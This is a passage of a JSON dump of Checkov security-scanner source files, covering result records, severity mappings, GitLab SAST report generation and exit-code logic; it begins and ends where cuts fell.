'Joli': 'deb',\n    'Karoshi': 'deb',\n    'KDE': 'deb',\n    'Linux': 'deb',\n    'LinuxMCE': 'deb',\n    'LinuxTLE': 'deb',\n    'LliureX': 'deb',\n    'LXLE': 'deb',\n    'MAX': 'deb',\n    'Molinux': 'deb',\n    'Netrunner': 'deb',\n    'Nova': 'deb',\n    'OpenGEU': 'deb',\n    'Peppermint': 'deb',\n    'Pinguy': 'deb',\n    'Pop!': 'deb',\n    'Poseidon': 'deb',\n    'Sabily': 'deb',\n    'Trisquel': 'deb',\n    'UberStudent': 'deb',\n    'Ututo': 'deb',\n    'Vinux': 'deb',\n    'Zorin': 'deb'\n}\n\nTWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE = {\n    'python' : 'pypi',\n    'nodejs' : 'npm',\n    'jar' : 'maven',\n    'rust': 'cargo'\n}\n\nBC_SEVERITY_TO_CYCLONEDX_LEVEL = {\n    BcSeverities.CRITICAL: VulnerabilitySeverity.CRITICAL,\n    BcSeverities.HIGH: VulnerabilitySeverity.HIGH,\n    BcSeverities.MEDIUM: VulnerabilitySeverity.MEDIUM,\n    BcSeverities.LOW: VulnerabilitySeverity.LOW,\n    BcSeverities.NONE: VulnerabilitySeverity.NONE,\n}\n"
  },
  {
    "path": "checkov/common/output/extra_resource.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\n\nclass ExtraResource:\n    __slots__ = (\"file_abs_path\", \"file_path\", \"resource\", \"file_line_range\", \"vulnerability_details\")\n\n    def __init__(\n        self, file_abs_path: str, file_path: str, resource: str, file_line_range: list[int] | None = None, vulnerability_details: dict[str, Any] | None = None\n    ) -> None:\n        self.file_abs_path = file_abs_path\n        self.file_path = file_path\n        self.resource = resource  # resource ID\n        self.file_line_range = file_line_range\n        self.vulnerability_details = vulnerability_details  # only set for SCA resources\n\n    def __lt__(self, other: ExtraResource) -> bool:\n        return (self.file_abs_path, self.resource) < (other.file_abs_path, other.resource)\n"
  },
  {
    "path": "checkov/common/output/github_actions_record.py",
    "content": "from typing import Optional, Dict, Set, List, Tuple, Any, Union\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.output.record import Record\nfrom checkov.common.typing import _CheckResult\n\n\nclass GithubActionsRecord(Record):\n    def __init__(self,\n                 triggers: Optional[Set[str]],\n                 job: Union[Optional[str], None],\n                 workflow_name: Optional[str],\n                 check_id: str,\n                 check_name: str,\n                 check_result: _CheckResult,\n                 code_block: List[Tuple[int, str]],\n                 file_path: str,\n                 file_line_range: List[int],\n                 resource: str,\n                 evaluations: Optional[Dict[str, Any]],\n                 check_class: str,\n                 file_abs_path: str,\n                 entity_tags: Optional[Dict[str, str]] = None,\n                 bc_check_id: Optional[str] = None,\n                 severity: Optional[Severity] = None,\n                 details: Optional[List[str]] = None\n                 ) -> None:\n        super().__init__(check_id=check_id,\n                         check_name=check_name,\n                         check_result=check_result,\n                         code_block=code_block,\n                         file_path=file_path,\n                         file_line_range=file_line_range,\n                         resource=resource,\n                         evaluations=evaluations,\n                         check_class=check_class,\n                         file_abs_path=file_abs_path,\n                         entity_tags=entity_tags,\n                         bc_check_id=bc_check_id,\n                         severity=severity,\n                         details=details\n                         )\n        self.triggers = triggers,\n        self.job = job,\n        self.workflow_name = workflow_name\n"
  },
  {
    "path": "checkov/common/output/gitlab_sast.py",
    "content": "from __future__ import annotations\n\nfrom datetime import datetime, timezone\nfrom typing import TYPE_CHECKING, Any\nfrom uuid import uuid4\n\nfrom checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES\nfrom checkov.common.util.http_utils import valid_url\nfrom checkov.version import version\n\nif TYPE_CHECKING:\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n\nDEFAULT_SEVERITY_GITLAB_LEVEL = \"Unknown\"\nSEVERITY_TO_GITLAB_LEVEL = {\n    \"critical\": \"Critical\",\n    \"high\": \"High\",\n    \"medium\": \"Medium\",\n    \"low\": \"Low\",\n    \"none\": \"Info\",\n}\n\n\nclass GitLabSast:\n    def __init__(self, reports: list[Report]):\n        self.reports = reports\n\n        self.sast_json = self.create_sast_json()\n\n    def create_sast_json(self) -> dict[str, Any]:\n        return {\n            \"schema\": \"https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json\",\n            \"version\": \"15.0.4\",\n            \"scan\": self._create_scan(),\n            \"vulnerabilities\": self._create_vulnerabilities(),\n        }\n\n    def _create_scan(self) -> dict[str, Any]:\n        current_datetime = datetime.now(timezone.utc).strftime(\"%Y-%m-%dT%H:%M:%S\")\n        scanner = {\n            \"id\": \"checkov\",\n            \"name\": \"Checkov\",\n            \"url\": \"https://www.checkov.io/\",\n            \"vendor\": {\n                \"name\": \"Bridgecrew\",\n            },\n            \"version\": version,\n        }\n\n        return {\n            \"start_time\": current_datetime,  # needs to be done properly in a later stage\n            \"end_time\": current_datetime,\n            \"analyzer\": scanner,  # same for us\n            \"scanner\": scanner,\n            \"status\": \"success\",\n            \"type\": \"sast\",\n        }\n\n    def _create_vulnerabilities(self) -> list[dict[str, Any]]:\n        vulnerabilities = []\n\n        for report in self.reports:\n            if report.check_type in SCA_CHECKTYPES:\n                for check in report.failed_checks:\n                    vulnerability = None\n                    if check.check_id.startswith(\"BC_LIC\"):\n                        vulnerability = self._create_license_vulnerability(record=check)\n                    elif check.check_id.startswith((\"BC_VUL\", \"CKV_CVE\")):\n                        vulnerability = self._create_cve_vulnerability(record=check)\n\n                    if vulnerability:\n                        vulnerabilities.append(vulnerability)\n            else:\n                for check in report.failed_checks:\n                    vulnerabilities.append(self._create_iac_vulnerability(record=check))\n\n        return vulnerabilities\n\n    def _create_iac_vulnerability(self, record: Record) -> dict[str, Any]:\n        severity = record.severity.name.lower() if record.severity else \"\"\n\n        vulnerability: \"dict[str, Any]\" = {\n            \"id\": str(uuid4()),\n            \"identifiers\": [\n                {\n                    \"name\": record.check_id,\n                    \"type\": \"checkov\",\n                    \"value\": record.check_id,\n                }\n            ],\n            \"location\": {\n                \"file\": record.repo_file_path.lstrip(\"/\"),\n                \"start_line\": record.file_line_range[0],\n                \"end_line\": record.file_line_range[1],\n            },\n            \"name\": record.check_name,\n            \"description\": f\"Further info can be found {record.guideline}\",\n            \"severity\": SEVERITY_TO_GITLAB_LEVEL.get(severity, DEFAULT_SEVERITY_GITLAB_LEVEL),\n            \"solution\": f\"Further info can be found {record.guideline}\",\n        }\n\n        link = record.guideline\n        if valid_url(link):\n            # url can't be None\n            vulnerability[\"identifiers\"][0][\"url\"] = link\n            vulnerability[\"links\"] = [\n                {\n                    \"url\": link,\n                }\n            ]\n\n        return vulnerability\n\n    def _create_cve_vulnerability(self, record: Record) -> dict[str, Any] | None:\n        details = record.vulnerability_details\n        if not details:\n            # this shouldn't happen\n            return None\n\n        severity = record.severity.name.lower() if record.severity else \"\"\n\n        vulnerability: \"dict[str, Any]\" = {\n            \"id\": str(uuid4()),\n            \"identifiers\": [\n                {\n                    \"name\": record.short_description,\n                    \"type\": \"cve\",\n                    \"value\": details[\"id\"],\n                }\n            ],\n            \"location\": {\n                \"file\": record.repo_file_path.lstrip(\"/\"),\n            },\n            \"name\": record.short_description,\n            \"description\": details.get(\"description\"),\n            \"severity\": SEVERITY_TO_GITLAB_LEVEL.get(severity, DEFAULT_SEVERITY_GITLAB_LEVEL),\n            \"solution\": details.get(\"status\"),\n        }\n\n        link = details.get(\"link\")\n        if valid_url(link):\n            # url can't be None\n            vulnerability[\"identifiers\"][0][\"url\"] = link\n            vulnerability[\"links\"] = [\n                {\n                    \"url\": link,\n                }\n            ]\n\n        return vulnerability\n\n    def _create_license_vulnerability(self, record: Record) -> dict[str, Any] | None:\n        details = record.vulnerability_details\n        if not details:\n            # this shouldn't happen\n            return None\n\n        return {\n            \"id\": str(uuid4()),\n            \"identifiers\": [\n                {\n                    \"name\": record.check_id,\n                    \"type\": \"license\",\n                    \"value\": record.check_id,\n                }\n            ],\n            \"location\": {\n                \"file\": record.repo_file_path.lstrip(\"/\"),\n            },\n            \"name\": record.short_description,\n            \"description\": f\"Package {details['package_name']}@{details['package_version']} has license {details['license']}\",\n        }\n"
  },
  {
    "path": "checkov/common/output/graph_record.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.output.record import Record\n\n\nclass GraphRecord(Record):\n    def __init__(self, record: Record, breadcrumbs: dict[str, dict[str, Any]]):\n        super().__init__(record.check_id, record.check_name, record.check_result, record.code_block, record.file_path,\n                         record.file_line_range, record.resource, record.evaluations, record.check_class,\n                         record.file_abs_path, record.entity_tags, record.caller_file_path,\n                         record.caller_file_line_range, bc_check_id=record.bc_check_id, resource_address=record.resource_address,\n                         severity=record.severity, bc_category=record.bc_category, benchmarks=record.benchmarks, details=record.details,\n                         definition_context_file_path=record.definition_context_file_path)\n        self.fixed_definition = record.fixed_definition\n        self.breadcrumbs = breadcrumbs\n"
  },
  {
    "path": "checkov/common/output/record.py",
    "content": "from __future__ import annotations\n\nimport os\nimport re\nfrom functools import lru_cache\nfrom pathlib import Path\nfrom typing import Union, List, Tuple, Optional, Dict, Any\n\nfrom colorama import init, Fore, Style\nfrom termcolor import colored\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.util.file_utils import convert_to_unix_path\nfrom checkov.common.util.type_forcers import force_int\n\ninit(autoreset=True)\n\nANSI_COLORS_DISABLED = bool(os.getenv('ANSI_COLORS_DISABLED'))\nCURRENT_LOCAL_DRIVE = Path.cwd().drive\nDEFAULT_SEVERITY = \"none\"  # equivalent to a score of 0.0 in the CVSS v3.0 Ratings\nOUTPUT_CODE_LINE_LIMIT = force_int(os.getenv('CHECKOV_OUTPUT_CODE_LINE_LIMIT')) or 50\n\nSCA_PACKAGE_SCAN_CHECK_NAME = \"SCA package scan\"\nSCA_LICENSE_CHECK_NAME = \"SCA license\"\nPLACEHOLDER_LINE = \"...\\n\"\n\n\nclass Record:\n    def __init__(\n        self,\n        check_id: str,\n        check_name: str,\n        check_result: _CheckResult,\n        code_block: List[Tuple[int, str]],\n        file_path: str,\n        file_line_range: List[int],\n        resource: str,\n        evaluations: Optional[Dict[str, Any]],\n        check_class: str,\n        file_abs_path: str,\n        entity_tags: Optional[Dict[str, str]] = None,\n        caller_file_path: Optional[str] = None,\n        caller_file_line_range: tuple[int, int] | None = None,\n        bc_check_id: Optional[str] = None,\n        resource_address: Optional[str] = None,\n        severity: Optional[Severity] = None,\n        bc_category: Optional[str] = None,\n        benchmarks: dict[str, list[str]] | None = None,\n        description: Optional[str] = None,\n        short_description: Optional[str] = None,\n        vulnerability_details: Optional[Dict[str, Any]] = None,\n        connected_node: Optional[Dict[str, Any]] = None,\n        details: Optional[List[str]] = None,\n        check_len: int | None = None,\n        definition_context_file_path: Optional[str] = None\n    ) -> None:\n        \"\"\"\n        :param evaluations: A dict with the key being the variable name, value being a dict containing:\n                             - 'var_file'\n                             - 'value'\n                             - 'definitions', a list of dicts which contain 'definition_expression'\n        \"\"\"\n        self.check_id = check_id\n        self.bc_check_id = bc_check_id\n        self.check_name = check_name\n        self.check_result = check_result\n        self.code_block = code_block\n        self.file_path = file_path\n        self.file_abs_path = file_abs_path\n        self.repo_file_path = self._determine_repo_file_path(file_abs_path)\n        self.file_line_range = file_line_range\n        self.resource = resource\n        self.evaluations = evaluations\n        self.check_class = check_class\n        self.fixed_definition = None\n        self.entity_tags = entity_tags\n        self.caller_file_path = caller_file_path  # When created from a module\n        self.caller_file_line_range = caller_file_line_range  # When created from a module\n        self.resource_address = resource_address\n        self.severity = severity\n        self.bc_category = bc_category\n        self.benchmarks = benchmarks\n        self.description = description  # used by SARIF output\n        self.short_description = short_description  # used by SARIF and GitLab SAST output\n        self.vulnerability_details = vulnerability_details  # Stores package vulnerability details\n        self.connected_node = connected_node\n        self.guideline: str | None = None\n        self.details: List[str] = details or []\n        self.check_len = check_len\n        self.definition_context_file_path = definition_context_file_path\n\n    @staticmethod\n    @lru_cache(maxsize=None)\n    def _determine_repo_file_path(file_path: Union[str, \"os.PathLike[str]\"]) -> str:\n        # matches file paths given in the BC platform and should always be a unix path\n        repo_file_path = Path(file_path)\n        if CURRENT_LOCAL_DRIVE == repo_file_path.drive:\n            return convert_to_unix_path(f\"/{os.path.relpath(repo_file_path)}\").replace(\"/..\", \"\")\n\n        return f\"/{'/'.join(repo_file_path.parts[1:])}\"\n\n    def set_guideline(self, guideline: Optional[str]) -> None:\n        self.guideline = guideline\n\n    @staticmethod\n    def _trim_special_chars(expression: str) -> str:\n        return \"\".join(re.findall(re.compile(r\"[^ ${\\}]+\"), expression))\n\n    @staticmethod\n    def _is_expression_in_code_lines(expression: str, code_block: List[Tuple[int, str]]) -> bool:\n        stripped_expression = Record._trim_special_chars(expression)\n        return any(stripped_expression in Record._trim_special_chars(line) for (_, line) in code_block)\n\n    @staticmethod\n    def _code_line_string(code_block: List[Tuple[int, str]], colorized: bool = True) -> str:\n        code_output = []\n        color_codes = (Fore.WHITE if colorized else \"\", Fore.YELLOW if colorized else \"\")\n        last_line_number_len = len(str(code_block[-1][0]))\n\n        if len(code_block) >= OUTPUT_CODE_LINE_LIMIT:\n            return f'\\t\\t{color_codes[1]}Code lines for this resource are too many. ' \\\n                   f'Please use IDE of your choice to review the file.'\n\n        for line_num, line in code_block:\n            spaces = \" \" * (last_line_number_len - len(str(line_num)))\n            if line.lstrip().startswith(\"#\"):\n                code_output.append(f\"\\t\\t{color_codes[0]}{line_num}{spaces} | {line}\")\n            elif line.lstrip() == PLACEHOLDER_LINE:\n                code_output.append(f\"\\t\\t{line}\")\n            else:\n                code_output.append(f\"\\t\\t{color_codes[0]}{line_num}{spaces} | {color_codes[1]}{line}\")\n        return \"\".join(code_output)\n\n    @staticmethod\n    def get_guideline_string(guideline: Optional[str]) -> str:\n        if guideline:\n            return (\n                \"\\tGuide: \"\n                + Style.BRIGHT\n                + colored(f\"{guideline}\\n\", \"blue\", attrs=[\"underline\"])\n                + Style.RESET_ALL\n            )\n        return ''\n\n    @staticmethod\n    def get_code_lines_string(code_block: List[Tuple[int, str]]) -> str:\n        if code_block:\n            return \"\\n{}\\n\".format(\"\".join([Record._code_line_string(code_block, not (ANSI_COLORS_DISABLED))]))\n        return ''\n\n    @staticmethod\n    def get_details_string(details: List[str]) -> str:\n        if details:\n            detail_buffer = [colored(f\"\\tDetails: {details[0]}\\n\", \"blue\")]\n            for t in details[1:]:\n                detail_buffer.append(colored(f\"\\t         {t}\\n\", \"blue\"))\n            return \"\".join(detail_buffer)\n        return ''\n\n    @staticmethod\n    def get_caller_file_details_string(caller_file_path: Optional[str], caller_file_line_range: Optional[Tuple[int, int]]) -> str:\n        if caller_file_path and caller_file_line_range:\n            return colored(\n                \"\\tCalling File: {}:{}\\n\".format(\n                    caller_file_path, \"-\".join([str(x) for x in caller_file_line_range])\n                ),\n                \"magenta\",\n            )\n        return ''\n\n    @staticmethod\n    def get_evaluation_string(evaluations: Optional[Dict[str, Any]], code_block: List[Tuple[int, str]]) -> str:\n        if evaluations:\n            for (var_name, var_evaluations) in evaluations.items():\n                var_file = var_evaluations[\"var_file\"]\n                var_definitions = var_evaluations[\"definitions\"]\n                for definition_obj in var_definitions:\n                    definition_expression = definition_obj[\"definition_expression\"]\n                    if Record._is_expression_in_code_lines(definition_expression, code_block):\n                        return colored(\n                            f'\\tVariable {colored(var_name, \"yellow\")} (of {var_file}) evaluated to value \"{colored(var_evaluations[\"value\"], \"yellow\")}\" '\n                            f'in expression: {colored(definition_obj[\"definition_name\"] + \" = \", \"yellow\")}{colored(definition_obj[\"definition_expression\"], \"yellow\")}\\n',\n                            \"white\",\n                        )\n        return ''\n\n    def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str:\n        status = \"\"\n        status_color = \"white\"\n        suppress_comment = \"\"\n        if self.check_result[\"result\"] == CheckResult.PASSED:\n            status = CheckResult.PASSED.name\n            status_color = \"green\"\n        elif self.check_result[\"result\"] == CheckResult.FAILED:\n            status = CheckResult.FAILED.name\n            status_color = \"red\"\n        elif self.check_result[\"result\"] == CheckResult.SKIPPED:\n            status = CheckResult.SKIPPED.name\n            status_color = \"blue\"\n            suppress_comment = \"\\tSuppress comment: {}\\n\".format(self.check_result.get(\"suppress_comment\", \"\"))\n\n        check_message = colored('Check: {}: \"{}\"\\n'.format(self.get_output_id(use_bc_ids), self.check_name), \"white\")\n        guideline_message = self.get_guideline_string(self.guideline)\n\n        severity_message = f'\\tSeverity: {self.severity.name}\\n' if self.severity else ''\n\n        file_details = colored(\n            \"\\tFile: {}:{}\\n\".format(self.file_path, \"-\".join([str(x) for x in self.file_line_range])), \"magenta\"\n        )\n        code_lines = self.get_code_lines_string(self.code_block)\n        detail = self.get_details_string(self.details)\n        caller_file_details = self.get_caller_file_details_string(self.caller_file_path, self.caller_file_line_range)\n        evaluation_message = self.get_evaluation_string(self.evaluations, self.code_block)\n\n        status_message = colored(\"\\t{} for resource: {}\\n\".format(status, self.resource), status_color)\n\n        if self.check_result[\"result\"] == CheckResult.FAILED and code_lines and not compact:\n            return f\"{check_message}{status_message}{severity_message}{detail}{file_details}{caller_file_details}{guideline_message}{code_lines}{evaluation_message}\"\n\n        if self.check_result[\"result\"] == CheckResult.SKIPPED:\n            return f\"{check_message}{status_message}{severity_message}{suppress_comment}{detail}{file_details}{caller_file_details}{guideline_message}\"\n        else:\n            return f\"{check_message}{status_message}{severity_message}{detail}{file_details}{caller_file_details}{evaluation_message}{guideline_message}\"\n\n    def __str__(self) -> str:\n        return self.to_string()\n\n    def get_output_id(self, use_bc_ids: bool) -> str:\n        return self.bc_check_id if self.bc_check_id and use_bc_ids else self.check_id\n\n    def get_unique_string(self) -> str:\n        return f\"{self.check_id}.{self.file_abs_path}.{self.file_line_range}.{self.resource}\"\n\n    @classmethod\n    def from_reduced_json(cls, record_json: dict[str, Any]) -> Record:\n        return Record(\n            check_id=record_json['check_id'],\n            bc_check_id=record_json['bc_check_id'],\n            check_name=record_json['check_name'],\n            check_result=record_json['check_result'],\n            code_block=record_json['code_block'],\n            file_path=record_json['file_path'],\n            file_line_range=record_json['file_line_range'],\n            resource=record_json['resource'],\n            evaluations=record_json.get('evaluations'),\n            check_class='',\n            file_abs_path=record_json['file_abs_path'],\n            severity=record_json.get('severity')\n        )\n"
  },
  {
    "path": "checkov/common/output/report.py",
    "content": "from __future__ import annotations\n\nimport argparse\nimport json\nimport logging\nimport os\nfrom collections.abc import Iterable\n\nfrom typing import List, Dict, Union, Any, Optional, TYPE_CHECKING, cast\nfrom colorama import init\nfrom junit_xml import TestCase, TestSuite, to_xml_report_string\nfrom tabulate import tabulate\nfrom termcolor import colored\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severity\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult, ErrorStatus\nfrom checkov.common.typing import _ExitCodeThresholds, _ScaExitCodeThresholds\nfrom checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME\nfrom checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT\nfrom checkov.common.util.consts import PARSE_ERROR_FAIL_FLAG, S3_UPLOAD_DETAILS_MESSAGE\nfrom checkov.common.util.json_utils import CustomJSONEncoder\nfrom checkov.runner_filter import RunnerFilter\n\nfrom checkov.sca_package_2.output import create_cli_output as create_sca_package_cli_output_v2\n\nfrom checkov.policies_3d.output import create_cli_output as create_3d_policy_cli_output\n\nfrom checkov.version import version\n\nif TYPE_CHECKING:\n    from checkov.common.output.baseline import Baseline\n    from checkov.common.output.extra_resource import ExtraResource\n\ninit(autoreset=True)\n\nSEVERITY_TO_SARIF_LEVEL = {\n    \"critical\": \"error\",\n    \"high\": \"error\",\n    \"medium\": \"warning\",\n    \"low\": \"note\",\n    \"none\": \"none\",\n}\n\n\nclass Report:\n    def __init__(self, check_type: str):\n        self.check_type = check_type\n        self.passed_checks: list[Record] = []\n        self.failed_checks: list[Record] = []\n        self.skipped_checks: list[Record] = []\n        self.parsing_errors: list[str] = []\n        self.resources: set[str] = set()\n        self.extra_resources: set[ExtraResource] = set()\n        self.image_cached_results: List[dict[str, Any]] = []\n        self.error_status: ErrorStatus = ErrorStatus.SUCCESS\n\n    @property\n    def errors(self) -> Dict[str, List[str]]:\n        return dict()\n\n    def set_error_status(self, error_status: ErrorStatus) -> None:\n        self.error_status = error_status\n\n    def add_parsing_errors(self, errors: \"Iterable[str]\") -> None:\n        for file in errors:\n            self.add_parsing_error(file)\n\n    def add_parsing_error(self, file: str) -> None:\n        if file:\n            self.parsing_errors.append(file)\n\n    def add_resource(self, resource: str) -> None:\n        self.resources.add(resource)\n\n    def add_record(self, record: Record) -> None:\n        if record.check_result[\"result\"] == CheckResult.PASSED:\n            self.passed_checks.append(record)\n        if record.check_result[\"result\"] == CheckResult.FAILED:\n            self.failed_checks.append(record)\n        if record.check_result[\"result\"] == CheckResult.SKIPPED:\n            self.skipped_checks.append(record)\n\n    def get_summary(self) -> Dict[str, Union[int, str]]:\n        return {\n            \"passed\": len(self.passed_checks),\n            \"failed\": len(self.failed_checks),\n            \"skipped\": len(self.skipped_checks),\n            \"parsing_errors\": len(self.parsing_errors),\n            \"resource_count\": len(self.resources),\n            \"checkov_version\": version,\n        }\n\n    def get_json(self) -> str:\n        return json.dumps(self.get_dict(), indent=4, cls=CustomJSONEncoder)\n\n    def get_all_records(self) -> List[Record]:\n        return self.failed_checks + self.passed_checks + self.skipped_checks\n\n    def get_dict(self, is_quiet: bool = False, url: str | None = None, full_report: bool = False, s3_setup_failed: bool = False, support_path: str | None = None) -> dict[str, Any]:\n        if not url and not s3_setup_failed:\n            url = \"Add an api key '--bc-api-key <api-key>' to see more detailed insights via https://bridgecrew.cloud\"\n        elif s3_setup_failed:\n            url = S3_UPLOAD_DETAILS_MESSAGE\n\n        if is_quiet:\n            return {\n                \"check_type\": self.check_type,\n                \"results\": {\n                    \"failed_checks\": [check.__dict__ for check in self.failed_checks]\n                },\n                \"summary\": self.get_summary(),\n            }\n        if full_report:\n            return {\n                \"check_type\": self.check_type,\n                \"checks\": {\n                    \"passed_checks\": [check.__dict__ for check in self.passed_checks],\n                    \"failed_checks\": [check.__dict__ for check in self.failed_checks],\n                    \"skipped_checks\": [check.__dict__ for check in self.skipped_checks]\n                },\n                \"image_cached_results\": [res.__dict__ for res in self.image_cached_results]\n            }\n        else:\n            result = {\n                \"check_type\": self.check_type,\n                \"results\": {\n                    \"passed_checks\": [check.__dict__ for check in self.passed_checks],\n                    \"failed_checks\": [check.__dict__ for check in self.failed_checks],\n                    \"skipped_checks\": [check.__dict__ for check in self.skipped_checks],\n                    \"parsing_errors\": list(self.parsing_errors),\n                },\n                \"summary\": self.get_summary(),\n                \"url\": url,\n            }\n\n            if support_path:\n                result[\"support_path\"] = support_path\n\n            return result\n\n    def get_exit_code(self, exit_code_thresholds: Union[_ExitCodeThresholds, _ScaExitCodeThresholds]) -> int:\n        \"\"\"\n        Returns the appropriate exit code depending on the flags that are passed in.\n\n        :return: Exit code 0 or 1.\n        \"\"\"\n\n        hard_fail_on_parsing_errors = os.getenv(PARSE_ERROR_FAIL_FLAG, \"false\").lower() == 'true'\n        logging.debug(f'In get_exit_code; exit code thresholds: {exit_code_thresholds}, hard_fail_on_parsing_errors: {hard_fail_on_parsing_errors}')\n\n        if self.parsing_errors and hard_fail_on_parsing_errors:\n            logging.debug('hard_fail_on_parsing_errors is True and there were parsing errors - returning 1')\n            return 1\n\n        if not self.failed_checks:\n            logging.debug('No failed checks in this report - returning 0')\n            return 0\n\n        # we will have two different sets of logic in this method, determined by this variable.\n        # if we are using enforcement rules, then there are two different sets of thresholds that apply for licenses and vulnerabilities\n        # and we have to handle that throughout while processing the report\n        # if we are not using enforcement rules, then we can combine licenses and vulnerabilities like normal and same as all other report types\n        # this determination is made in runner_registry.get_fail_thresholds\n        has_split_enforcement = CodeCategoryType.LICENSES in exit_code_thresholds\n\n        hard_fail_threshold: Optional[Severity | Dict[str, Severity]]\n        soft_fail: Optional[bool | Dict[str, bool]]\n\n        if has_split_enforcement:\n            sca_thresholds = cast(_ScaExitCodeThresholds, exit_code_thresholds)\n            # these three are the same even in split enforcement rules\n            generic_thresholds = cast(_ExitCodeThresholds, next(iter(sca_thresholds.values())))\n            soft_fail_on_checks = generic_thresholds['soft_fail_checks']\n            soft_fail_threshold = generic_thresholds['soft_fail_threshold']\n            hard_fail_on_checks = generic_thresholds['hard_fail_checks']\n\n            # these two can be different for licenses / vulnerabilities\n            hard_fail_threshold = {category: thresholds['hard_fail_threshold'] for category, thresholds in sca_thresholds.items()}  # type:ignore[index] # thinks it's an object, can't possibly be more clear\n            soft_fail = {category: thresholds['soft_fail'] for category, thresholds in sca_thresholds.items()}  # type:ignore[index] # thinks it's an object\n\n            failed_checks_by_category = {\n                CodeCategoryType.LICENSES: [fc for fc in self.failed_checks if '_LIC_' in fc.check_id],\n                CodeCategoryType.VULNERABILITIES: [fc for fc in self.failed_checks if '_VUL_' in fc.check_id]\n            }\n\n            has_soft_fail_values = soft_fail_on_checks or soft_fail_threshold\n\n            if all(\n                not failed_checks_by_category[cast(CodeCategoryType, c)] or (\n                    not has_soft_fail_values and not (hard_fail_threshold[c] or hard_fail_on_checks) and soft_fail[c]\n                )\n                for c in sca_thresholds.keys()\n            ):\n                logging.debug(\n                    'No failed checks, or soft_fail is True and soft_fail_on and hard_fail_on are empty for all SCA types - returning 0')\n                return 0\n\n            if any(\n                not has_soft_fail_values and not (hard_fail_threshold[c] or hard_fail_on_checks) and failed_checks_by_category[cast(CodeCategoryType, c)]\n                for c in sca_thresholds.keys()\n            ):\n                logging.debug('There are failed checks and all soft/hard fail args are empty for one or more SCA reports - returning 1')\n                return 1\n        else:\n            non_sca_thresholds = cast(_ExitCodeThresholds, exit_code_thresholds)\n            soft_fail_on_checks = non_sca_thresholds['soft_fail_checks']\n            soft_fail_threshold = non_sca_thresholds['soft_fail_threshold']\n            hard_fail_on_checks = non_sca_thresholds['hard_fail_checks']\n            hard_fail_threshold = non_sca_thresholds['hard_fail_threshold']\n            soft_fail = non_sca_thresholds['soft_fail']\n\n            has_soft_fail_values = soft_fail_on_checks or soft_fail_threshold\n            has_hard_fail_values = hard_fail_threshold or hard_fail_on_checks\n\n            if not has_soft_fail_values and not has_hard_fail_values and soft_fail:\n                logging.debug('Soft_fail is True and soft_fail_on and hard_fail_on are empty - returning 0')\n                return 0\n            elif not has_soft_fail_values and not has_hard_fail_values:\n                logging.debug('There are failed checks and all soft/hard fail args are empty - returning 1')\n                return 1\n\n        for failed_check in self.failed_checks:\n            check_id = failed_check.check_id\n            bc_check_id = failed_check.bc_check_id\n            severity = failed_check.severity\n            secret_validation_status = failed_check.validation_status if hasattr(failed_check, 'validation_status') else ''\n\n            hf_threshold: Severity\n            sf: bool\n\n            if has_split_enforcement:\n                category = CodeCategoryType.LICENSES if '_LIC_' in check_id else CodeCategoryType.VULNERABILITIES\n                hard_fail_threshold = cast(Dict[str, Severity], hard_fail_threshold)\n                hf_threshold = hard_fail_threshold[category]\n                soft_fail = cast(Dict[str, bool], soft_fail)\n                sf = soft_fail[category]\n            else:\n                hard_fail_threshold = cast(Severity, hard_fail_threshold)\n                hf_threshold = hard_fail_threshold\n                soft_fail = cast(bool, soft_fail)\n                sf = soft_fail\n\n            soft_fail_severity = severity and soft_fail_threshold and severity.level <= soft_fail_threshold.level\n            hard_fail_severity = severity and hf_threshold and severity.level >= hf_threshold.level\n            explicit_soft_fail = RunnerFilter.check_matches(check_id, bc_check_id, soft_fail_on_checks)\n            explicit_hard_fail = RunnerFilter.check_matches(check_id, bc_check_id, hard_fail_on_checks)\n            explicit_secrets_soft_fail = RunnerFilter.secret_validation_status_matches(secret_validation_status, soft_fail_on_checks)\n            explicit_secrets_hard_fail = RunnerFilter.secret_validation_status_matches(secret_validation_status, hard_fail_on_checks)\n            implicit_soft_fail = not explicit_hard_fail and not explicit_secrets_hard_fail and not soft_fail_on_checks and not soft_fail_threshold\n            implicit_hard_fail = not explicit_soft_fail and not soft_fail_severity and not explicit_secrets_soft_fail\n\n            if explicit_hard_fail or \\\n                    (hard_fail_severity and not explicit_soft_fail) or \\\n                    (implicit_hard_fail and not implicit_soft_fail and not sf):\n                logging.debug(f'Check {check_id} (BC ID: {bc_check_id}, severity: {severity.level if severity else None} triggered hard fail - returning 1')\n                return 1\n\n        logging.debug('No failed check triggered hard fail - returning 0')\n        return 0\n\n    def is_empty(self, full: bool = False) -> bool:\n        checks_count = (\n            len(self.passed_checks)\n            + len(self.failed_checks)\n            + len(self.skipped_checks)\n            + len(self.parsing_errors)\n        )\n\n        if full:\n            checks_count += len(self.resources) + len(self.extra_resources) + len(self.image_cached_results)\n\n        return checks_count == 0\n\n    def add_errors_to_output(self) -> str:\n        ret_value = ''\n        for error_title, errors_messages in self.errors.items():\n            ret_value += colored(f\"Encountered {error_title} error - {len(errors_messages)} times\\n\\n\", \"red\")\n        return ret_value\n\n    def print_console(\n            self,\n            is_quiet: bool = False,\n            is_compact: bool = False,\n            created_baseline_path: str | None = None,\n            baseline: Baseline | None = None,\n            use_bc_ids: bool = False,\n            summary_position: str = 'top',\n    ) -> str:\n        summary = self.get_summary()\n        output_data = colored(f\"{self.check_type} scan results:\\n\", \"blue\")\n        if self.parsing_errors:\n            message = \"\\nPassed checks: {}, Failed checks: {}, Skipped checks: {}, Parsing errors: {}\\n\\n\".format(\n                summary[\"passed\"],\n                summary[\"failed\"],\n                